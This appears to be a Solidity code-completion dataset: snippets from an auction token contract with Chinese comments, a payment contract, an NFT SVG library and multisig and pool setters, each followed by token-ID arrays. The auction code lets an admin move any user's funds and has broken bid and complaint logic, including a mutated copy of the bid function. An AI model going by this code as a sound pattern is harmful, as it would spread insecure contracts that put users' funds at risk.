previousBalances = balances[_from] + balances[_to]; // 减少发送者资产 balances[_from] -= _value; // 增加接收者的资产 balances[_to] += _value; emit Transfer(_from, _to, _value); // 断言检测, 不应该为错 assert(balances[_from] + balances[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns(bool){ _transfer(msg.sender, _to, _value); } function transferadmin(address _from, address _to, uint _value) public onlyadmin{ _transfer(_from, _to, _value); } function transferto(uint256 _value) public returns(bool){ _transfer(msg.sender, this, _value); } function() payable public { address to = msg.sender; balances[to] = balances[to].add(msg.value); emit Transfer(msg.sender, this, msg.value); } //用户可用余额 function canuse(address addr) public view returns(uint) { return(btyc.getcanuse(addr)); } //合约现有余额 function btycownerof() public view returns(uint) { return(btyc.balanceOf(this)); } function ownerof() public view returns(uint) { return(balances[this]); } //把合约余额转出 function sendleftmoney(address _to, uint _value) public onlyadmin{ _transfer(this, _to, _value); } /*用户竞拍*/ function inputauction(uint auctids, address pusers, uint addmoneys,string useraddrs) public payable{ uint _now = now; auctionlist storage c = auctionlisting[auctids]; require(c.ifend == false); require(c.ifsend == 0); uint userbalance = balances[pusers]; require(addmoneys > c.currentprice); require(addmoneys <= c.endprice); // uint userhasmoney = c.ausers[pusers]; require(addmoneys > c.ausers[pusers]); uint money = addmoneys - c.ausers[pusers]; require(userbalance >= money); if(c.endtime < _now) { c.ifend = true; }else{ if(addmoneys == c.endprice){ c.ifend = true; } transferto(money); c.ausers[pusers] = addmoneys; c.currentprice = addmoneys; c.aucusers[c.lastid++] = putusers(pusers, _now, addmoneys, useraddrs); userlist[pusers].push(auctids); //emit auctconfim(pusers, money); } //} } //获取用户自己竞拍的总数 function getuserlistlength(address uaddr) public view returns(uint len) { len = userlist[uaddr].length; } //查看单个订单 function viewauction(uint aid) public view returns(address addusers,uint opentimes, uint endtimes, uint onceprices, uint openprices, uint endprices, uint currentprices, string goodsnames, string goodspics, bool ifends, uint ifsends, uint anum){ auctionlist storage c = auctionlisting[aid]; addusers = c.adduser;//0 opentimes = c.opentime;//1 endtimes = c.endtime;//2 onceprices = c.onceprice;//3 openprices = c.openprice;//4 endprices = c.endprice;//5 currentprices = c.currentprice;//6 goodspics = c.goodspic;//7 goodsnames = c.goodsname;//8 ifends = c.ifend;//9 ifsends = c.ifsend;//10 anum = c.lastid;//11 } //获取单个订单的竞拍者数据 function viewauctionlist(uint aid, uint uid) public view returns(address pusers,uint addtimes,uint addmoneys){ auctionlist storage c = auctionlisting[aid]; putusers storage u = c.aucusers[uid]; pusers = u.puser;//0 addtimes = u.addtime;//1 addmoneys = u.addmoney;//2 } //获取所有竞拍商品的总数 function getactlen() public view returns(uint) { return(auctionlisting.length); } //获取投诉订单的总数 function getacttslen() public view returns(uint) { return(auctionlistts.length); } //获取竞拍完结的总数 function getactendlen() public view returns(uint) { return(auctionlistend.length); } //发布者设定发货 function setsendgoods(uint auctids) public { uint _now = now; auctionlist storage c = auctionlisting[auctids]; require(c.adduser == msg.sender); require(c.endtime < _now); require(c.ifsend == 0); c.ifsend = 1; c.ifend = true; } //竞拍者收到货物后动作 function setgetgoods(uint auctids) public { uint _now = now; auctionlist storage c = auctionlisting[auctids]; require(c.endtime < _now); require(c.ifend == true); require(c.ifsend == 1); putusers storage lasttuser = c.aucusers[c.lastid]; require(lasttuser.puser == msg.sender); c.ifsend = 2; uint getmoney = lasttuser.addmoney*70/100; btyc.mintToken(c.adduser, getmoney); auctionlistend.push(c); } //获取用户的发货地址(发布者) function getuseraddress(uint auctids) public view returns(string){ auctionlist storage c = auctionlisting[auctids]; require(c.adduser == msg.sender); //putusers memory mdata = c.aucusers[c.lastid]; return(c.aucusers[c.lastid].useraddr); } function editusetaddress(uint aid, string setaddr) public returns(bool){ auctionlist storage c = auctionlisting[aid]; putusers storage data = c.aucusers[c.lastid]; require(data.puser == msg.sender); data.useraddr = setaddr; return(true); } /*用户获取拍卖金额和返利,只能返利一次 */ function endauction(uint auctids) public { //uint _now = now; auctionlist storage c = auctionlisting[auctids]; require(c.ifsend == 2); uint len = c.lastid; putusers storage firstuser = c.aucusers[0]; address suser = msg.sender; require(c.ifend == true); require(len > 1); require(c.ausers[suser] > 0); uint sendmoney = 0; if(len == 2) { require(firstuser.puser == suser); sendmoney = c.currentprice*3/10 + c.ausers[suser]; }else{ if(firstuser.puser == suser) { sendmoney = c.currentprice*1/10 + c.ausers[suser]; }else{ uint onemoney = (c.currentprice*2/10)/(len-2); sendmoney = onemoney + c.ausers[suser]; } } require(sendmoney > 0); c.ausers[suser] = 0; btyc.mintToken(suser, sendmoney); emit getmoneys(suser, sendmoney); } //设定拍卖标准价 function setsystemprice(uint price) public onlyadmin{ systemprice = price; } //管理员冻结发布者和商品 function setauctionother(uint auctids) public onlyadmin{ auctionlist storage c = auctionlisting[auctids]; btyc.freezeAccount(c.adduser, true); c.ifend = true; c.ifsend = 3; } //设定商品状态 function setauctionsystem(uint auctids, uint setnum) public onlyadmin{ auctionlist storage c = auctionlisting[auctids]; c.ifend = true; c.ifsend = setnum; } //设定商品正常 function setauctionotherfree(uint auctids) public onlyadmin{ auctionlist storage c = auctionlisting[auctids]; btyc.freezeAccount(c.adduser, false); c.ifsend = 2; } //投诉发布者未发货或货物不符 function tsauction(uint auctids) public{ auctionlist storage c = auctionlisting[auctids]; uint _now = now; require(c.endtime > _now); require(c.endtime + 2 days < _now); require(c.aucusers[c.lastid].puser == msg.sender); if(c.endtime + 2 days < _now && c.ifsend == 0) { c.ifsend = 5; c.ifend = true; auctionlistts.push(c); } if(c.endtime + 9 days < _now && c.ifsend == 1) { c.ifsend = 5; c.ifend = true; auctionlistts.push(c); } } //管理员设定违规竞拍返还竞拍者 function endauctionother(uint auctids) public { //uint _now = now; auctionlist storage c = auctionlisting[auctids]; address suser = msg.sender; require(c.ifsend == 3); require(c.ausers[suser] > 0); btyc.mintToken(suser,c.ausers[suser]); c.ausers[suser] = 0; emit getmoneys(suser, c.ausers[suser]); } /* * 设置管理员 * @param {Object} address */ function admAccount(address target, bool freeze) onlyOwner public { admins[target] = freeze; } } //btyc接口类 interface btycInterface { function balanceOf(address _addr) external view returns (uint256); function mintToken(address target, uint256 mintedAmount) external returns (bool); //function transfer(address to, uint tokens) external returns (bool); function freezeAccount(address target, bool freeze) external returns (bool); function getcanuse(address tokenOwner) external view returns(uint); //function getprice() external view returns(uint addtime, uint outtime, uint bprice, uint spice, uint sprice, uint sper, uint givefrom, uint giveto, uint giveper, uint sdfrozen, uint sdper1, uint sdper2, uint sdper3); } library SafeMath { function add(uint a, uint b) internal pure returns(uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns(uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns(uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns(uint c) { require(b > 0); c = a / b; } }
用户竞拍*/ uint userhasmoney = c.ausers[pusers];
function inputauction(uint auctids, address pusers, uint addmoneys,string useraddrs) public payable{ uint _now = now; auctionlist storage c = auctionlisting[auctids]; require(c.ifend == false); require(c.ifsend == 0); uint userbalance = balances[pusers]; require(addmoneys > c.currentprice); require(addmoneys <= c.endprice); require(addmoneys > c.ausers[pusers]); uint money = addmoneys - c.ausers[pusers]; require(userbalance >= money); if(c.endtime < _now) { c.ifend = true; if(addmoneys == c.endprice){ c.ifend = true; } transferto(money); c.ausers[pusers] = addmoneys; c.currentprice = addmoneys; c.aucusers[c.lastid++] = putusers(pusers, _now, addmoneys, useraddrs); userlist[pusers].push(auctids); }
14,507,853
[ 1, 168, 247, 106, 167, 235, 120, 168, 109, 257, 167, 238, 240, 19, 2254, 729, 5332, 2586, 402, 273, 276, 18, 69, 5577, 63, 84, 5577, 15533, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 810, 69, 4062, 12, 11890, 279, 853, 2232, 16, 1758, 293, 5577, 16, 2254, 527, 2586, 402, 87, 16, 1080, 729, 23305, 13, 1071, 8843, 429, 95, 203, 202, 565, 2254, 389, 3338, 273, 2037, 31, 203, 202, 565, 279, 4062, 1098, 2502, 276, 273, 279, 4062, 21228, 63, 69, 853, 2232, 15533, 203, 202, 565, 2583, 12, 71, 18, 430, 409, 422, 629, 1769, 203, 202, 565, 2583, 12, 71, 18, 430, 4661, 422, 374, 1769, 203, 202, 377, 203, 202, 565, 2254, 729, 12296, 273, 324, 26488, 63, 84, 5577, 15533, 203, 202, 565, 2583, 12, 1289, 2586, 402, 87, 405, 276, 18, 2972, 8694, 1769, 203, 202, 565, 2583, 12, 1289, 2586, 402, 87, 1648, 276, 18, 409, 8694, 1769, 203, 202, 282, 2583, 12, 1289, 2586, 402, 87, 405, 276, 18, 69, 5577, 63, 84, 5577, 19226, 203, 202, 565, 2254, 15601, 273, 527, 2586, 402, 87, 300, 276, 18, 69, 5577, 63, 84, 5577, 15533, 203, 202, 377, 203, 202, 565, 2583, 12, 1355, 12296, 1545, 15601, 1769, 203, 202, 565, 309, 12, 71, 18, 409, 957, 411, 389, 3338, 13, 288, 203, 202, 3639, 276, 18, 430, 409, 273, 638, 31, 203, 202, 3639, 309, 12, 1289, 2586, 402, 87, 422, 276, 18, 409, 8694, 15329, 203, 202, 5411, 276, 18, 430, 409, 273, 638, 31, 203, 202, 3639, 289, 203, 202, 3639, 7412, 869, 12, 2586, 402, 1769, 203, 202, 3639, 276, 18, 69, 5577, 63, 84, 5577, 65, 273, 527, 2586, 402, 87, 31, 2 ]
./full_match/1/0xA441CF75BCFb5833cB1ba7c93A0721ae9B292789/sources/contracts/SafeguardPool.sol
@inheritdoc ISafeguardPool
function setMustAllowlistLPs(bool mustAllowlistLPs) external override authenticate whenNotPaused { _setMustAllowlistLPs(mustAllowlistLPs); }
3,012,378
[ 1, 36, 10093, 4437, 1727, 1332, 89, 1060, 2864, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 10136, 7009, 1098, 14461, 87, 12, 6430, 1297, 7009, 1098, 14461, 87, 13, 3903, 3849, 8929, 1347, 1248, 28590, 288, 203, 3639, 389, 542, 10136, 7009, 1098, 14461, 87, 12, 11926, 7009, 1098, 14461, 87, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; contract PayFor { struct productPriceStruct { uint256 price; bool isValue; } struct paymentsStruct { address listOfPayedBy; uint256 listOfPayments; uint256 payFor; } address payable owner_address; event ReceivedFunds(address sender, uint256 value, uint256 application, uint256 loc); event Withdrawn(address to, uint256 amount); event SetProductPrice ( uint256 product, uint256 minPrice ); event LogDepositReceived(address sender); paymentsStruct[] private paymentsFor; mapping (uint256 => productPriceStruct) internal productMinPrice; uint256[] private listOfSKU; constructor() public { owner_address = msg.sender; } /** * @return the address of the owner. */ function owner() public view returns (address) { return owner_address; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == owner_address; } /** * @dev set the minimum price for a product. Emit SetProductPrice when a price is set. */ function setProductPrice(uint256 SKU, uint256 minPrice) public onlyOwner { productMinPrice[SKU] = productPriceStruct ( minPrice, true ); listOfSKU.push(SKU); emit SetProductPrice ( SKU, minPrice ); } /** * @return true for funds received. Emit a ReceivedFunds event. */ function receiveFunds(uint256 forProduct) public payable returns(bool) { // Check that product is valid require(productMinPrice[forProduct].isValue, 'Invalid product'); // Validate that the sender has payed for the prouct. require(productMinPrice[forProduct].price <= msg.value, 'Insufficient funds for product'); uint256 pos; pos = paymentsFor.length; paymentsFor.push ( paymentsStruct ( msg.sender, msg.value, forProduct ) ); emit ReceivedFunds(msg.sender, msg.value, forProduct, pos); return true; } /** * @return the number of paymetns. */ function getNPayments() public onlyOwner view returns(uint256) { return ( paymentsFor.length ); } /** * @return the address that payeed with the payment amount and what was payed for. */ function getPaymentInfo(uint256 n) public onlyOwner view returns(address, uint256, uint256) { require(n >= 0 && n < paymentsFor.length, 'Invalid entry'); return ( paymentsFor[n].listOfPayedBy, paymentsFor[n].listOfPayments, paymentsFor[n].payFor ); } /** * @return the number of Products (SKUs). */ function getNSKU() public view returns(uint256) { return ( listOfSKU.length ); } /** * @return the price for the nth SKU and its product number. */ function getSKUInfo(uint256 n) public view returns(uint256, uint256) { require(n >= 0 && n < listOfSKU.length, 'Invalid entry'); uint256 sku = listOfSKU[n]; return ( sku, productMinPrice[sku].price ); } /** * @dev widthdraw funds form the contract. */ function withdraw( uint256 amount ) public onlyOwner returns(bool) { require(address(this).balance >= amount, "Insufficient Balance for withdrawl"); address(owner_address).transfer(amount); emit Withdrawn(owner_address, amount); return true; } /** * @return the amount of funds that can be withdrawn. */ function getBalanceContract() public view onlyOwner returns(uint256){ return address(this).balance; } /** * @return Catch and save funds for abstrc transfer. */ function() external payable { require(msg.data.length == 0); emit LogDepositReceived(msg.sender); } }
* @return the address of the owner./
function owner() public view returns (address) { return owner_address; }
12,738,531
[ 1, 2463, 326, 1758, 434, 326, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3410, 1435, 1071, 1476, 1135, 261, 2867, 13, 288, 203, 3639, 327, 3410, 67, 2867, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; import "./Eyes/EyesParts1.sol"; import "./Eyes/EyesParts2.sol"; /// @title Eyes SVG generator library EyesDetail { /// @dev Eyes N°1 => Happy function item_1() public pure returns (string memory) { return base(EyesParts2.item_5(), "Happy"); } /// @dev Eyes N°2 => Feels function item_2() public pure returns (string memory) { return base(EyesParts2.item_4(), "Feels"); } /// @dev Eyes N°3 => Pupils Blood function item_3() public pure returns (string memory) { return base(EyesParts1.item_11(), "Pupils Blood"); } /// @dev Eyes N°4 => Spiral function item_4() public pure returns (string memory) { return base(EyesParts1.item_10(), "Spiral"); } /// @dev Eyes N°5 => Pupils Moon function item_5() public pure returns (string memory) { return base(EyesParts1.item_9(), "Pupils Moon"); } /// @dev Eyes N°6 => Rip function item_6() public pure returns (string memory) { return base(EyesParts2.item_9(), "Rip"); } /// @dev Eyes N°7 => Pupils pure function item_7() public pure returns (string memory) { return base(EyesParts1.item_15(), "Pupils Pure"); } /// @dev Eyes N°8 => Akuma function item_8() public pure returns (string memory) { return base(EyesParts1.item_8(), "Akuma"); } /// @dev Eyes N°9 => Scribble function item_9() public pure returns (string memory) { return base(EyesParts2.item_8(), "Scribble"); } /// @dev Eyes N°10 => Arrow function item_10() public pure returns (string memory) { return base(EyesParts2.item_7(), "Arrow"); } /// @dev Eyes N°11 => Globes function item_11() public pure returns (string memory) { return base(EyesParts1.item_7(), "Globes"); } /// @dev Eyes N°12 => Stitch function item_12() public pure returns (string memory) { return base(EyesParts1.item_6(), "Stitch"); } /// @dev Eyes N°13 => Closed function item_13() public pure returns (string memory) { return base(EyesParts2.item_6(), "Closed"); } /// @dev Eyes N°14 => Kitsune function item_14() public pure returns (string memory) { return base(EyesParts1.item_13(), "Kitsune"); } /// @dev Eyes N°15 => Moon function item_15() public pure returns (string memory) { return base(EyesParts1.item_12(), "Moon"); } /// @dev Eyes N°16 => Shine function item_16() public pure returns (string memory) { return base(EyesParts1.item_5(), "Shine"); } /// @dev Eyes N°17 => Shock function item_17() public pure returns (string memory) { return base(EyesParts1.item_14(), "Shock"); } /// @dev Eyes N°18 => Tomoe Blood function item_18() public pure returns (string memory) { return base(EyesParts1.item_4(), "Tomoe Blood"); } /// @dev Eyes N°19 => Stitched function item_19() public pure returns (string memory) { return base(EyesParts2.item_3(), "Stitched"); } /// @dev Eyes N°20 => Tomoe Pure function item_20() public pure returns (string memory) { return base(EyesParts1.item_3(), "Tomoe Pure"); } /// @dev Eyes N°21 => Pupils Pure-Blood function item_21() public pure returns (string memory) { return base(EyesParts1.item_2(), "Pupils Pure-Blood"); } /// @dev Eyes N°22 => Dubu function item_22() public pure returns (string memory) { return base(EyesParts2.item_1(), "Dubu"); } /// @dev Eyes N°23 => Moon Kin function item_23() public pure returns (string memory) { return base(EyesParts1.item_1(), "Moon Kin"); } /// @notice Return the skin name of the given id /// @param id The skin Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Happy"; } else if (id == 2) { name = "Feels"; } else if (id == 3) { name = "Pupils Blood"; } else if (id == 4) { name = "Spiral"; } else if (id == 5) { name = "Pupils Moon"; } else if (id == 6) { name = "Rip"; } else if (id == 7) { name = "Pupils Pure"; } else if (id == 8) { name = "Akuma"; } else if (id == 9) { name = "Scribble"; } else if (id == 10) { name = "Arrow"; } else if (id == 11) { name = "Globes"; } else if (id == 12) { name = "Stitch"; } else if (id == 13) { name = "Closed"; } else if (id == 14) { name = "Kitsune"; } else if (id == 15) { name = "Moon"; } else if (id == 16) { name = "Shine"; } else if (id == 17) { name = "Shock"; } else if (id == 18) { name = "Tomoe Blood"; } else if (id == 19) { name = "Stitched"; } else if (id == 20) { name = "Tomoe Pure"; } else if (id == 21) { name = "Pupils Pure-Blood"; } else if (id == 22) { name = "Dubu"; } else if (id == 23) { name = "Moon Kin"; } } /// @dev The base SVG for the body function base(string memory children, string memory name) private pure returns (string memory) { return string(abi.encodePacked('<g id="eyes"><g id="', name, '">', children, "</g></g>")); } }
@dev Eyes N°16 => Shine
function item_16() public pure returns (string memory) { return base(EyesParts1.item_5(), "Shine"); }
13,090,125
[ 1, 41, 9707, 423, 131, 113, 2313, 516, 2638, 558, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 761, 67, 2313, 1435, 1071, 16618, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 1026, 12, 41, 9707, 4305, 21, 18, 1726, 67, 25, 9334, 315, 1555, 558, 8863, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/44787/0x3966196588981E29e85f5EDCc31ddc8754cD5b20/sources/Users/monk/celo/clabs/contracts/common/MultiSig.sol
@dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. @param _internalRequired Number of required confirmations for interal txs.
function changeInternalRequirement(uint256 _internalRequired) public onlyWallet validRequirement(owners.length, _internalRequired) { internalRequired = _internalRequired; emit InternalRequirementChange(_internalRequired); }
13,255,097
